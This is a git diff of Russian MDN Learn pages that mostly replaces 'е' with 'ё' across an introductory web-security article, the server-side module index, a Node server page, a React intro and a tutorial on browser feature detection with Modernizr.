работает, выявляя и блокируя «плохой» трафик, пропуская при этом легитимные сообщения. Эти средства защиты обычно расположены перед веб-сервером или на нем (они не являются частью самого веб-приложения).</li> <li><a href="https://en.wikipedia.org/wiki/Directory_traversal_attack">Directory Traversal</a> (Файл и раскрытие). В этой атаке злоумышленник пытается получить доступ к частям файловой системы веб-сервера, к которым у него не должно быть доступа. Эта уязвимость возникает, когда пользователь может передавать имена файлов, содержащие символы навигации файловой системы (например, <code>../../</code>). Решение состоит в том, чтобы очищать ввод перед его использованием.</li> <li><a href="https://en.wikipedia.org/wiki/File_inclusion_vulnerability">File Inclusion</a>. В этой атаке пользователь может "случайно" указать файл для отображения или выполнения в данных, передаваемых на сервер. После загрузки этот файл может выполняться на веб-сервере или на стороне клиента (что приводит к XSS-атаке). Решение состоит в том, чтобы дезинфицировать ввод перед его использованием.</li> <li><a href="https://www.owasp.org/index.php/Command_Injection">Внедрение команд</a>. Атаки с внедрением команд позволяют злоумышленнику выполнять произвольные системные команды в операционной системе хоста. Решение состоит в том, чтобы дезинфицировать вводимые пользователем данные до того, как их можно будет использовать в системных вызовах.</li> @@ -143,20 +143,20 @@ original_slug: Learn/Server-side/First_steps/Веб_Безопасность <p>Вы можете предпринять ряд других конкретных шагов:</p> <ul> - <li>Используйте более эффективное управление паролями. Поощряйте регулярную смену надежных паролей. Рассмотрите возможность двухфакторной аутентификации для вашего сайта, чтобы в дополнение к паролю пользователь должен был ввести другой код аутентификации (обычно тот, который доставляется через какое-то физическое оборудование, которое будет иметь только пользователь, например, код в SMS, отправленном на его телефон).</li> - <li>Настройте свой веб-сервер для использования <a href="/en-US/docs/Glossary/https">HTTPS</a> и <a href="/en-US/docs/Web/Security/HTTP_strict_transport_security">HTTP Strict Transport Security</a> (HSTS). HTTPS шифрует данные, передаваемые между вашим клиентом и сервером. Это гарантирует, что учетные данные для входа, файлы cookie, данные запросов <code>POST</code> и информация заголовка не будут легко доступны для злоумышленников.</li> - <li>Следите за наиболее популярными угрозами (<a href="https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project">текущий список OWASP находится здесь</a>) и в первую очередь устраняйте наиболее распространенные уязвимости.</li> + <li>Используйте более эффективное управление паролями. Поощряйте регулярную смену надёжных паролей. Рассмотрите возможность двухфакторной аутентификации для вашего сайта, чтобы в дополнение к паролю пользователь должен был ввести другой код аутентификации (обычно тот, который доставляется через какое-то физическое оборудование, которое будет иметь только пользователь, например, код в SMS, отправленном на его телефон).</li> + <li>Настройте свой веб-сервер для использования <a href="/en-US/docs/Glossary/https">HTTPS</a> и <a href="/en-US/docs/Web/Security/HTTP_strict_transport_security">HTTP Strict Transport Security</a> (HSTS). HTTPS шифрует данные, передаваемые между вашим клиентом и сервером. Это гарантирует, что учётные данные для входа, файлы cookie, данные запросов <code>POST</code> и информация заголовка не будут легко доступны для злоумышленников.</li> + <li>Следите за наиболее популярными угрозами (<a href="https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project">текущий список OWASP находится здесь</a>) и в первую очередь устраняйте наиболее распространённые уязвимости.</li> <li>Используйте <a href="https://www.owasp.org/index.php/Category:Vulnerability_Scanning_Tools">инструменты сканирования уязвимостей</a>, чтобы выполнить автоматическое тестирование безопасности на вашем сайте. Позже ваш очень успешный веб-сайт может также обнаруживать ошибки, предлагая вознаграждение за обнаружение ошибок, как это <a href="https://www.mozilla.org/en-US/security/bug-bounty/faq-webapp/">делает здесь</a> Mozilla.</li> - <li>Храните и отображайте только те данные, которые вам нужны. Например, если ваши пользователи должны хранить конфиденциальную информацию, такую как данные кредитной карты, отображайте часть номера карты только для того, чтобы он мог быть идентифицирован пользователем, и недостаточно, чтобы его мог скопировать злоумышленник и использовать на другом сайте. Самый распространенный шаблон в настоящее время - отображение только последних 4 цифр номера кредитной карты.</li> + <li>Храните и отображайте только те данные, которые вам нужны. Например, если ваши пользователи должны хранить конфиденциальную информацию, такую как данные кредитной карты, отображайте часть номера карты только для того, чтобы он мог быть идентифицирован пользователем, и недостаточно, чтобы его мог скопировать злоумышленник и использовать на другом сайте. Самый распространённый шаблон в настоящее время - отображение только последних 4 цифр номера кредитной карты.</li> </ul> -<p>Веб-фреймворки могут помочь смягчить многие из наиболее распространенных уязвимостей.</p> +<p>Веб-фреймворки могут помочь смягчить многие из наиболее распространённых уязвимостей.</p> <h2 id="Резюме">Резюме</h2> -<p>В этой статье объясняется концепция веб-безопасности и некоторые из наиболее распространенных угроз, от которых ваш веб-сайт должен пытаться защититься. Самое главное, вы должны понимать, что веб-приложение не может доверять никаким данным из веб-браузера. Все пользовательские данные должны быть очищены перед отображением или использованием в SQL-запросах и вызовах файловой системы.</p> +<p>В этой статье объясняется концепция веб-безопасности и некоторые из наиболее распространённых угроз, от которых ваш веб-сайт должен пытаться защититься. Самое главное, вы должны понимать, что веб-приложение не может доверять никаким данным из веб-браузера. Все пользовательские данные должны быть очищены перед отображением или использованием в SQL-запросах и вызовах файловой системы.</p> -<p>Этой статьей вы подошли к концу <a href="/en-US/docs/Learn/Server-side/First_steps">этого модуля</a>, охватывающего ваши первые шаги в программировании на стороне сервера. Мы надеемся, что вам понравилось изучать эти фундаментальные концепции, и теперь вы готовы выбрать веб-платформу и начать программировать.</p> +<p>Этой статьёй вы подошли к концу <a href="/en-US/docs/Learn/Server-side/First_steps">этого модуля</a>, охватывающего ваши первые шаги в программировании на стороне сервера. Мы надеемся, что вам понравилось изучать эти фундаментальные концепции, и теперь вы готовы выбрать веб-платформу и начать программировать.</p> <p>{{PreviousMenu("Learn/Server-side/First_steps/Web_frameworks", "Learn/Server-side/First_steps")}}</p> diff --git a/files/ru/learn/server-side/index.html b/files/ru/learn/server-side/index.html index 66645f65dd..ee1cb35976 100644 --- a/files/ru/learn/server-side/index.html +++ b/files/ru/learn/server-side/index.html @@ -26,7 +26,7 @@ translation_of: Learn/Server-side <p>Начинать с серверного программирования обычно легче, чем с разработки на стороне клиента, поскольку динамические веб-сайты склонны производить множество однообразных операций (извлекать данные из базы данных и помещать их на странице, подтверждать пользовательский ввод и сохранять его в базе данных, проверять пользовательские права и выполнение входа, и.т.д.) и сконструированы с использованием веб-фреймворков, которые выполняют эти и другие привычные веб-серверу операции с легкостью.</p> -<p>Общее понимание концепций программирования (или определенного программного языка) будет полезным, но не обязательным. Сходным образом, опыт программирования на клиентской стороне не требуется, но базовое знание поможет вам успешнее взаимодействовать с разработчиками клиентской стороны веб-приложения - "фронтенда".</p> +<p>Общее понимание концепций программирования (или определённого программного языка) будет полезным, но не обязательным. Сходным образом, опыт программирования на клиентской стороне не требуется, но базовое знание поможет вам успешнее взаимодействовать с разработчиками клиентской стороны веб-приложения - "фронтенда".</p> <p>Вам потребуется понимать "как работает веб". Мы рекомендуем вам сначала ознакомиться с темами:</p> @@ -44,11 +44,11 @@ translation_of: Learn/Server-side <dl> <dt><a href="/ru/docs/Learn/Server-side/First_steps">Первые шаги в программировании веб-сайтов на стороне сервера</a></dt> - <dd>Этот модуль посвящен информации о технологиях программирования веб-сайтов на стороне сервера, попутно отвечая и на фундаментальные вопросы о серверном программировании — "что это такое", "чем оно отличается от программирования на стороне клиента", и "почему оно так востребовано" — и обозревая некоторые из наиболее популярных серверных веб-фреймворков, а также объясняя как выбрать подходящий для вашего сайта. Напоследок мы организуем вводный раздел о безопасности веб-сервера.</dd> + <dd>Этот модуль посвящён информации о технологиях программирования веб-сайтов на стороне сервера, попутно отвечая и на фундаментальные вопросы о серверном программировании — "что это такое", "чем оно отличается от программирования на стороне клиента", и "почему оно так востребовано" — и обозревая некоторые из наиболее популярных серверных веб-фреймворков, а также объясняя как выбрать подходящий для вашего сайта. Напоследок мы организуем вводный раздел о безопасности веб-сервера.</dd> <dt><a href="/en-US/docs/Learn/Server-side/Django">Веб-фреймворк Django (Python)</a></dt> <dd>Django является чрезвычайно популярным и полнофункциональным серверным веб-фреймворком, написанным на Python. Этот модуль объяснит почему Django настолько хороший серверный веб-фреймворк, как установить среду разработки и как с его помощью можно выполнять привычные задачи.</dd> <dt><a href="/ru/docs/Learn/Server-side/Express_Nodejs">Веб-фреймворк Express (Node.js/JavaScript)</a></dt> - <dd>Express - популярный веб-фреймворк, написанный на JavaScript и размещенный в среде окружения node.js. Модуль объясняет некоторые из ключевых преимуществ этой структуры, как настроить среду разработки и как выполнять общие задачи для веб-разработки и развертывания.</dd> + <dd>Express - популярный веб-фреймворк, написанный на JavaScript и размещённый в среде окружения node.js. Модуль объясняет некоторые из ключевых преимуществ этой структуры, как настроить среду разработки и как выполнять общие задачи для веб-разработки и развертывания.</dd> <dt><a href="https://developer.mozilla.org/ru/docs/Learn/Server-side/Node_server_without_framework">Сервер на Node без фреймворков</a></dt> <dd>В этой статье представлен простой статический файловый сервер, построенный с использованием чистого Node.js, для тех из вас, кто не хочет использовать фреймворк.</dd> </dl> diff --git a/files/ru/learn/server-side/node_server_without_framework/index.html b/files/ru/learn/server-side/node_server_without_framework/index.html index 087627c20a..0a1a548668 100644 --- a/files/ru/learn/server-side/node_server_without_framework/index.html +++ b/files/ru/learn/server-side/node_server_without_framework/index.html @@ -5,7 +5,7 @@ translation_of: Learn/Server-side/Node_server_without_framework --- <div>{{LearnSidebar}}</div> -<p class="summary">Здесь вы найдете описание простого статического сервера, который построен сугубо на Node.js без использования какого-либо фреймворка .</p> +<p class="summary">Здесь вы найдёте описание простого статического сервера, который построен сугубо на Node.js без использования какого-либо фреймворка .</p> <p><a href="https://nodejs.org/en/">Node.js</a> может использовать множество фреймворков, которые могут помочь создать сервер</p> @@ -81,4 +81,4 @@ console.log('Server running at http://127.0.0.1:8125/');</pre> <h2 id="Задание">Задание</h2> -<p>Попробуйте добавить в этот код описание как работает этот код. Как вариант еще можно добавить функционал динамических запросов.</p> +<p>Попробуйте добавить в этот код описание как работает этот код. Как вариант ещё можно добавить функционал динамических запросов.</p> diff --git a/files/ru/learn/tools_and_testing/client-side_javascript_frameworks/react_getting_started/index.html b/files/ru/learn/tools_and_testing/client-side_javascript_frameworks/react_getting_started/index.html index 418ad7f318..a5e7d74707 100644 --- a/files/ru/learn/tools_and_testing/client-side_javascript_frameworks/react_getting_started/index.html +++ b/files/ru/learn/tools_and_testing/client-side_javascript_frameworks/react_getting_started/index.html @@ -37,7 +37,7 @@ original_slug: Learn/Tools_and_testing/Фронтенд_JavaScript_фреймв <p>Для создания веб-приложений разработчики используют React в тандеме с <a href="https://reactjs.org/docs/react-dom.html">ReactDOM</a>. React and ReactDOM часто обсуждаются в том же пространстве и используются для решения тех же проблем, что и другие настоящие фреймворки для веб-разработки. Когда мы ссылаемся на React как на «фреймворк», мы подразумеваем это разговорное понимание.</p> -<p>Основная цель React - минимизировать ошибки, возникающие при разработке пользовательских интерфейсов. Это достигается за счет использования компонентов - автономных логических фрагментов кода, которые описывают часть пользовательского интерфейса. А уже эти компоненты объединяются для создания полноценного пользовательского интерфейса. React абстрагирует большую часть работы по визуализации, оставляя вам возможность сосредоточиться на дизайне.</p> +<p>Основная цель React - минимизировать ошибки, возникающие при разработке пользовательских интерфейсов. Это достигается за счёт использования компонентов - автономных логических фрагментов кода, которые описывают часть пользовательского интерфейса. А уже эти компоненты объединяются для создания полноценного пользовательского интерфейса. React абстрагирует большую часть работы по визуализации, оставляя вам возможность сосредоточиться на дизайне.</p> <h2 id="Когда_использовать">Когда использовать</h2> @@ -45,7 +45,7 @@ original_slug: Learn/Tools_and_testing/Фронтенд_JavaScript_фреймв <p>Хотя React <em>можно</em> использовать для <a href="https://ru.reactjs.org/docs/add-react-to-a-website.html">небольших частей интерфейса</a>, «зайти» в него не так просто, как, к примеру, в jQuery, или даже во Vue. Куда легче это сделать создав всё приложения с помощью React.</p> -<p>Кроме того, такие преимущества React-приложения, как написание интерфейсов с помощью JSX, требуют процесса компиляции. Добавление на сайт компилятора Babel приводит к более медленному выполнению кода, поэтому такие инструменты обычно настраиваются для процесса сборки. Да, возможно, у React есть серьезные требования к инструментарию, но этому можно освоить.</p> +<p>Кроме того, такие преимущества React-приложения, как написание интерфейсов с помощью JSX, требуют процесса компиляции. Добавление на сайт компилятора Babel приводит к более медленному выполнению кода, поэтому такие инструменты обычно настраиваются для процесса сборки. Да, возможно, у React есть серьёзные требования к инструментарию, но этому можно освоить.</p> <p>В этой статье основное внимание будет уделено использованию React для создания всего пользовательского интерфейса с помощью <a href="https://create-react-app.dev/">create-react-app</a>, предоставляемого Facebook.</p> diff --git a/files/ru/learn/tools_and_testing/cross_browser_testing/feature_detection/index.html b/files/ru/learn/tools_and_testing/cross_browser_testing/feature_detection/index.html index 5f3233d635..e96fcf7bf7 100644 --- a/files/ru/learn/tools_and_testing/cross_browser_testing/feature_detection/index.html +++ b/files/ru/learn/tools_and_testing/cross_browser_testing/feature_detection/index.html @@ -7,7 +7,7 @@ translation_of: Learn/Tools_and_testing/Cross_browser_testing/Feature_detection <div>{{PreviousMenuNext("Learn/Tools_and_testing/Cross_browser_testing/Accessibility","Learn/Tools_and_testing/Cross_browser_testing/Automated_testing", "Learn/Tools_and_testing/Cross_browser_testing")}}</div> -<p class="summary">Обнаружение функций включает определение того, поддерживает ли браузер определенный блок кода, и выполнение другого кода в зависимости от того, поддерживает ли он или нет, так что браузер всегда может обеспечить работу, а не сбой / ошибку в некоторых браузерах. В этой статье подробно описывается, как написать собственное простое обнаружение функций, как использовать библиотеку для ускорения реализации, а также встроенные функции для обнаружения функций, такие как <code>@supports</code>.</p> +<p class="summary">Обнаружение функций включает определение того, поддерживает ли браузер определённый блок кода, и выполнение другого кода в зависимости от того, поддерживает ли он или нет, так что браузер всегда может обеспечить работу, а не сбой / ошибку в некоторых браузерах. В этой статье подробно описывается, как написать собственное простое обнаружение функций, как использовать библиотеку для ускорения реализации, а также встроенные функции для обнаружения функций, такие как <code>@supports</code>.</p> <table class="learn-box standard-table"> <tbody> @@ -24,9 +24,9 @@ translation_of: Learn/Tools_and_testing/Cross_browser_testing/Feature_detection <h2 id="Концепция_обнаружения_функций.">Концепция обнаружения функций.</h2> -<p>Идея обнаружения функции заключается в том, что вы можете запустить тест, чтобы определить, поддерживается ли функция в текущем браузере, а затем условно запустить код, чтобы обеспечить приемлемый опыт как в браузерах, которые поддерживают функцию, так и в браузере, который не поддерживает. Если вы этого не сделаете, браузеры, которые не поддерживают функции, которые вы используете в своем коде, не будут отображать ваши сайты должным образом и просто не сработают, создавая плохой опыт пользователя.</p> +<p>Идея обнаружения функции заключается в том, что вы можете запустить тест, чтобы определить, поддерживается ли функция в текущем браузере, а затем условно запустить код, чтобы обеспечить приемлемый опыт как в браузерах, которые поддерживают функцию, так и в браузере, который не поддерживает. Если вы этого не сделаете, браузеры, которые не поддерживают функции, которые вы используете в своём коде, не будут отображать ваши сайты должным образом и просто не сработают, создавая плохой опыт пользователя.</p> -<p>Давайте подведем итоги и посмотрим на пример, который мы затронули в нашем документе <a href="/en-US/docs/Learn/Tools_and_testing/Cross_browser_testing/JavaScript#Feature_detection">Решение самых распространенных проблем JavaScript</a>— <a href="/en-US/docs/Web/API/Geolocation/Using_geolocation">Использование геолокации</a> (который предоставляет доступные данные о местоположении для устройства, на котором работает веб-браузер) есть основная точка входа для его использования, свойство <code>geolocation,</code> доступное на глобальном объекте <a href="/en-US/docs/Web/API/Navigator">Navigator</a>. Следовательно, вы можете определить, поддерживает ли браузер геолокацию или нет, используя что-то вроде следующего:</p> +<p>Давайте подведём итоги и посмотрим на пример, который мы затронули в нашем документе <a href="/en-US/docs/Learn/Tools_and_testing/Cross_browser_testing/JavaScript#Feature_detection">Решение самых распространённых проблем JavaScript</a>— <a href="/en-US/docs/Web/API/Geolocation/Using_geolocation">Использование геолокации</a> (который предоставляет доступные данные о местоположении для устройства, на котором работает веб-браузер) есть основная точка входа для его использования, свойство <code>geolocation,</code> доступное на глобальном объекте <a href="/en-US/docs/Web/API/Navigator">Navigator</a>. Следовательно, вы можете определить, поддерживает ли браузер геолокацию или нет, используя что-то вроде следующего:</p> <pre class="language-js"><span class="keyword token">if </span><span class="punctuation token">(</span><span class="string token">"geolocation"</span> <span class="keyword token">in</span> navigator<span class="punctuation token">)</span> <span class="punctuation token">{</span> navigator<span class="punctuation token">.</span>geolocation<span class="punctuation token">.</span><span class="function token">getCurrentPosition</span><span class="punctuation token">(</span><span class="keyword token">function</span><span class="punctuation token">(</span>position<span class="punctuation token">)</span> <span class="punctuation token">{</span> @@ -48,7 +48,7 @@ translation_of: Learn/Tools_and_testing/Cross_browser_testing/Feature_detection <p>Вы можете написать тесты для функций CSS, протестировав существование <em><a href="/en-US/docs/Web/API/HTMLElement/style">element.style.property</a></em> (например, <code>paragraph.style.transform</code>) в JavaScript.</p> -<p>Классическим примером может быть проверка поддержки <a href="/en-US/docs/Learn/CSS/CSS_layout/Flexbox">Flexbox</a> в браузере; для браузеров, которые поддерживают новейшие спецификации Flexbox, мы могли бы использовать гибкую и надежную гибкую компоновку. Для браузеров, которые этого не делают, мы могли бы использовать плавающий макет, который работает нормально, хотя он немного более хрупкий и хакерский, и не такой привлекательный.</p> +<p>Классическим примером может быть проверка поддержки <a href="/en-US/docs/Learn/CSS/CSS_layout/Flexbox">Flexbox</a> в браузере; для браузеров, которые поддерживают новейшие спецификации Flexbox, мы могли бы использовать гибкую и надёжную гибкую компоновку. Для браузеров, которые этого не делают, мы могли бы использовать плавающий макет, который работает нормально, хотя он немного более хрупкий и хакерский, и не такой привлекательный.</p> <p>Давайте реализуем что-то, что демонстрирует это, хотя мы пока оставим это простым.</p> @@ -71,13 +71,13 @@ if (testElem.style.flex !== undefined && testElem.style.flexFlow !== und </li> </ol> -<p>Здесь мы берем ссылку на второй элемент <code><link></code> и создаем элемент <code><div></code> как часть нашего теста. В нашем условном выражении мы проверяем, что свойства {{cssxref ("flex")}} и {{cssxref ("flex-flow")}} существуют в браузере. Обратите внимание, что представления JavaScript этих свойств, которые хранятся внутри объекта {{domxref ("HTMLElement.style")}}, используют нижний горбатый регистр, а не дефисы, для разделения слов.</p> +<p>Здесь мы берём ссылку на второй элемент <code><link></code> и создаём элемент <code><div></code> как часть нашего теста. В нашем условном выражении мы проверяем, что свойства {{cssxref ("flex")}} и {{cssxref ("flex-flow")}} существуют в браузере. Обратите внимание, что представления JavaScript этих свойств, которые хранятся внутри объекта {{domxref ("HTMLElement.style")}}, используют нижний горбатый регистр, а не дефисы, для разделения слов.</p> <div class="note"> <p><strong>Примечание: </strong>Если у вас возникли проблемы с выполнением этого, вы можете сравнить его с нашим кодом <a href="https://github.com/mdn/learning-area/blob/master/tools-testing/cross-browser-testing/feature-detection/css-feature-detect-finished.html">css-feature-detect-finished.html</a> (см. Также <a href="http://mdn.github.io/learning-area/tools-testing/cross-browser-testing/feature-detection/css-feature-detect-finished.html">живую версию</a>).</p> </div> -<p>Когда вы сохраните все и опробуете свой пример, вы должны увидеть макет flexbox, примененный к странице, если браузер поддерживает современный flexbox, и макет float, если нет.</p> +<p>Когда вы сохраните все и опробуете свой пример, вы должны увидеть макет flexbox, применённый к странице, если браузер поддерживает современный flexbox, и макет float, если нет.</p> <div class="note"> <p><strong>Примечание:</strong> Часто такой подход является излишним из-за незначительной проблемы с обнаружением функций - вы часто можете обойтись без использования префиксов нескольких поставщиков и свойств резервирования, как описано в разделе <a href="/en-US/docs/Learn/Tools_and_testing/Cross_browser_testing/HTML_and_CSS#CSS_fallback_behaviour">Поведение CSS-откат</a> и <a href="/en-US/docs/Learn/Tools_and_testing/Cross_browser_testing/HTML_and_CSS#Handling_CSS_prefixes">Обработка префиксов CSS</a>.</p> @@ -134,7 +134,7 @@ if (testElem.style.flex !== undefined && testElem.style.flexFlow !== und <tbody> <tr> <td><em>Если член в объекте</em></td> - <td>Проверьте, существует ли определенный метод или свойство (обычно точка входа в использование API или другой функции, которую вы обнаруживаете) в его родительском объекте.</td> + <td>Проверьте, существует ли определённый метод или свойство (обычно точка входа в использование API или другой функции, которую вы обнаруживаете) в его родительском объекте.</td> <td> <p><code>if("geolocation" in navigator) { ... }</code></p> </td> @@ -155,14 +155,14 @@ if (testElem.style.flex !== undefined && testElem.style.flexFlow !== und </tr> <tr> <td><em>Свойство на сохраняемое значение элемента</em></td> - <td>Создайте элемент в памяти, используя {{domxref ("Document.createElement()")}}, установите для свойства определенное значение, затем проверьте, сохраняется ли значение.</td> + <td>Создайте элемент в памяти, используя {{domxref ("Document.createElement()")}}, установите для свойства определённое значение, затем проверьте, сохраняется ли значение.</td> <td>См. <a href="http://diveinto.html5doctor.com/detect.html#input-types">Dive into HTML5 <code><input></code> types detection</a>.</td> </tr> </tbody> </table> <div class="note"> -<p><strong>Примечание:</strong> Двойное <code>NOT</code> в приведенном выше примере (<code>!!</code>) это способ заставить возвращаемое значение стать «правильным» логическим значением, а не {{glossary("Truthy")}}/{{glossary("Falsy")}} значение, которое может исказить результаты.</p> +<p><strong>Примечание:</strong> Двойное <code>NOT</code> в приведённом выше примере (<code>!!</code>) это способ заставить возвращаемое значение стать «правильным» логическим значением, а не {{glossary("Truthy")}}/{{glossary("Falsy")}} значение, которое может исказить результаты.</p> </div> <p>Страница <a href="http://diveinto.html5doctor.com/detect.html">Погружение в HTML5 Обнаружение функций HTML5</a> содержит гораздо больше полезных тестов для обнаружения функций, помимо перечисленных выше, и вы можете найти тест обнаружения функций для большинства вещей, выполнив поиск «обнаружение поддержки для ВАШИ-ФУНКЦИИ-ЗДЕСЬ» в своей любимой поисковой системе. Имейте в виду, однако, что некоторые функции, как известно, не обнаруживаются - см. список Modernizr <a href="https://github.com/Modernizr/Modernizr/wiki/Undetectables">Необнаруживаемые</a>.</p> @@ -175,7 +175,7 @@ if (testElem.style.flex !== undefined && testElem.style.flexFlow !== und // run JavaScript in here. }</pre> -<p>В качестве примера, наша демо версия <a href="https://github.com/chrisdavidmills/snapshot">Snapshot</a> использует ее для выборочного применения библиотеки Brick JavaScript и ее использования для обработки макета пользовательского интерфейса, но только для небольшого экрана (шириной 480 пикселей или меньше). Сначала мы используем атрибут <code>media</code>,чтобы применить CSS-код Brick к странице, только если ширина страницы составляет 480px или меньше:</p> +<p>В качестве примера, наша демо версия <a href="https://github.com/chrisdavidmills/snapshot">Snapshot</a> использует её для выборочного применения библиотеки Brick JavaScript и её использования для обработки макета пользовательского интерфейса, но только для небольшого экрана (шириной 480 пикселей или меньше). Сначала мы используем атрибут <code>media</code>,чтобы применить CSS-код Brick к странице, только если ширина страницы составляет 480px или меньше:</p> <pre class="brush: css"><<span class="pl-ent">link</span> <span class="pl-e">href</span>=<span class="pl-s"><span class="pl-pds">"</span>dist/brick.css<span class="pl-pds">"</span></span> <span class="pl-e">type</span>=<span class="pl-s"><span class="pl-pds">"</span>text/css<span class="pl-pds">"</span></span> <span class="pl-e">rel</span>=<span class="pl-s"><span class="pl-pds">"</span>stylesheet<span class="pl-pds">"</span></span> <span class="pl-e">media</span>=<span class="pl-s"><span class="pl-pds">"</span>all and (max-width: 480px)<span class="pl-pds">"</span></span>></pre> @@ -199,7 +199,7 @@ if (testElem.style.flex !== undefined && testElem.style.flexFlow !== und <p>Сохраните его где-нибудь разумно, например, в директории, для которой вы создавали другие примеры в этой статье.</p> -<p>Когда вы используете Modernizr в рабочей среде, вы можете перейти на <a href="https://modernizr.com/download">Страницу скачивания</a> которую вы уже посетили, и нажимать кнопки плюс только для тех функций, которые вам нужны. Затем, когда вы нажмете кнопку <em>Build</em> вы загрузите пользовательскую сборку, содержащую только те функции, которые обнаружены, что позволит значительно уменьшить размер файла.</p> +<p>Когда вы используете Modernizr в рабочей среде, вы можете перейти на <a href="https://modernizr.com/download">Страницу скачивания</a> которую вы уже посетили, и нажимать кнопки плюс только для тех функций, которые вам нужны. Затем, когда вы нажмёте кнопку <em>Build</em> вы загрузите пользовательскую сборку, содержащую только те функции, которые обнаружены, что позволит значительно уменьшить размер файла.</p> <h3 id="CSS_2">CSS</h3> @@ -207,10 +207,10 @@ if (testElem.style.flex !== undefined && testElem.style.flexFlow !== und <ol> <li>Во-первых, создайте копию <code><a href="https://github.com/mdn/learning-area/blob/master/tools-testing/cross-browser-testing/feature-detection/supports-feature-detect.html">supports-feature-detect.html</a></code> и <code><a href="https://github.com/mdn/learning-area/blob/master/tools-testing/cross-browser-testing/feature-detection/supports-styling.css">supports-styling.css</a></code>. Сохраните их как <code>modernizr-css.html</code> и <code>modernizr-css.css</code>.</li> - <li>Обновите ваш элемент {{htmlelement ("link")}} в своем HTML-коде, чтобы он указывал на правильный файл CSS (также следует обновить элемент {{htmlelement ("title")}} на что-то более подходящее!): + <li>Обновите ваш элемент {{htmlelement ("link")}} в своём HTML-коде, чтобы он указывал на правильный файл CSS (также следует обновить элемент {{htmlelement ("title")}} на что-то более подходящее!): <pre class="brush: html"><link href="modernizr-css.css" rel="stylesheet"></pre> </li> - <li>Над этим элементом <code><link></code> добавьте элемент {{htmlelement ("script")}}, чтобы применить библиотеку Modernizr к странице, как показано ниже. Это должно быть применено к странице перед любым CSS (или JavaScript), который может ее использовать. + <li>Над этим элементом <code><link></code> добавьте элемент {{htmlelement ("script")}}, чтобы применить библиотеку Modernizr к странице, как показано ниже. Это должно быть применено к странице перед любым CSS (или JavaScript), который может её использовать. <pre class="brush: html"><script src="modernizr-custom.js"></script></pre> </li> <li>Теперь отредактируйте открывающий тег <code><html></code>, чтобы он выглядел так: @@ -268,7 +268,7 @@ blob-constructor cookies cors ...AND LOADS MORE VALUES!></pre> clear: left; }</pre> -<p>Так как же это работает? Поскольку все эти имена классов были помещены в элемент <code><html></code> вы можете настроить таргетинг на браузеры, которые поддерживают или не поддерживают функцию, используя определенные селекторы-потомки. Поэтому здесь мы применяем верхний набор правил только для браузеров, которые поддерживают flexbox, а нижний набор правил - только для браузеров, которые не поддерживают (<code>no-flexbox</code>).</p> +<p>Так как же это работает? Поскольку все эти имена классов были помещены в элемент <code><html></code> вы можете настроить таргетинг на браузеры, которые поддерживают или не поддерживают функцию, используя определённые селекторы-потомки. Поэтому здесь мы применяем верхний набор правил только для браузеров, которые поддерживают flexbox, а нижний набор правил - только для браузеров, которые не поддерживают (<code>no-flexbox</code>).</p> <div class="note"> <p><strong>Примечание:</strong> Имейте в виду, что все тесты функций HTML и JavaScript Modernizr также представлены в этих именах классов, так что вы можете свободно применять CSS выборочно в зависимости от того, поддерживает ли браузер функции HTML или JavaScript, если это необходимо.</p> @@ -280,24 +280,24 @@ blob-constructor cookies cors ...AND LOADS MORE VALUES!></pre> <h3 id="JavaScript_2">JavaScript</h3> -<p>Modernizr также одинаково хорошо подготовлен для реализации функций обнаружения JavaScript. Это достигается за счет того, что глобальный объект <code>Modernizr</code> становится доступным для страницы, к которой он применяется, и содержит результаты функции, определяемой как свойства <code>true</code>/<code>false</code>.</p> +<p>Modernizr также одинаково хорошо подготовлен для реализации функций обнаружения JavaScript. Это достигается за счёт того, что глобальный объект <code>Modernizr</code> становится доступным для страницы, к которой он применяется, и содержит результаты функции, определяемой как свойства <code>true</code>/<code>false</code>.</p> -<p>Например, загрузите наш пример <code><a href="https://github.com/mdn/learning-area/blob/master/tools-testing/cross-browser-testing/feature-detection/modernizr-css.html">modernizr-css.html</a></code> в своем браузере, затем попробуйте перейти на консоль JavaScript и набрать <code>Modernizr.</code>, а после некоторые из этих имен классов (они тоже здесь одинаковы). Например:</p> +<p>Например, загрузите наш пример <code><a href="https://github.com/mdn/learning-area/blob/master/tools-testing/cross-browser-testing/feature-detection/modernizr-css.html">modernizr-css.html</a></code> в своём браузере, затем попробуйте перейти на консоль JavaScript и набрать <code>Modernizr.</code>, а после некоторые из этих имён классов (они тоже здесь одинаковы). Например:</p> <pre>Modernizr.flexbox Modernizr.websqldatabase Modernizr.xhr2 Modernizr.fetch</pre> -<p>Консоль вернет значения <code>true</code>/<code>false</code>, чтобы указать, поддерживает ли ваш браузер эти функции или нет.</p> +<p>Консоль вернёт значения <code>true</code>/<code>false</code>, чтобы указать, поддерживает ли ваш браузер эти функции или нет.</p> <p>Давайте посмотрим на пример, чтобы показать, как вы бы пользовали эти свойства.</p> <ol> <li>Прежде всего, сделайте локальную копию файла примера <code><a href="https://github.com/mdn/learning-area/blob/master/tools-testing/cross-browser-testing/feature-detection/modernizr-js.html">modernizr-js.html</a></code>.</li> <li>Присоедините библиотеку Modernizr к HTML, используя элемент <code><script></code> , как мы делали в предыдущих демонстрациях. Поместите его над существующим элементом <code><script></code> который прикрепляет API Google Maps к странице.</li> - <li>Затем заполните текст-заполнитель <code>YOUR-API-KEY</code> во втором элементе <code><script></code> (как он есть сейчас) действительным ключом API Google Maps. Чтобы получить ключ, войдите в учетную запись Google, перейдите на страницу <a href="https://developers.google.com/maps/documentation/javascript/get-api-key">Получить ключ / Аутентификация</a> затем нажмите синюю кнопку <em>Get a Key</em> и следуйте инструкциям.</li> - <li>Наконец, добавьте еще один элемент <code><script></code> внизу тела HTML (непосредственно перед тегом <code></body></code> ) и поместите следующий скрипт в теги: + <li>Затем заполните текст-заполнитель <code>YOUR-API-KEY</code> во втором элементе <code><script></code> (как он есть сейчас) действительным ключом API Google Maps. Чтобы получить ключ, войдите в учётную запись Google, перейдите на страницу <a href="https://developers.google.com/maps/documentation/javascript/get-api-key">Получить ключ / Аутентификация</a> затем нажмите синюю кнопку <em>Get a Key</em> и следуйте инструкциям.</li> + <li>Наконец, добавьте ещё один элемент <code><script></code> внизу тела HTML (непосредственно перед тегом <code></body></code> ) и поместите следующий скрипт в теги: <pre class="brush: js">if (Modernizr.geolocation) { navigator.geolocation.getCurrentPosition(function(position) { @@ -324,9 +324,9 @@ Modernizr.fetch</pre> <h2 id="Подведение_итогов">Подведение итогов</h2> -<p>В этой статье было рассмотрено обнаружение функций с достаточным количеством подробностей, рассмотрены основные концепции и показано, как реализовать свои собственные тесты 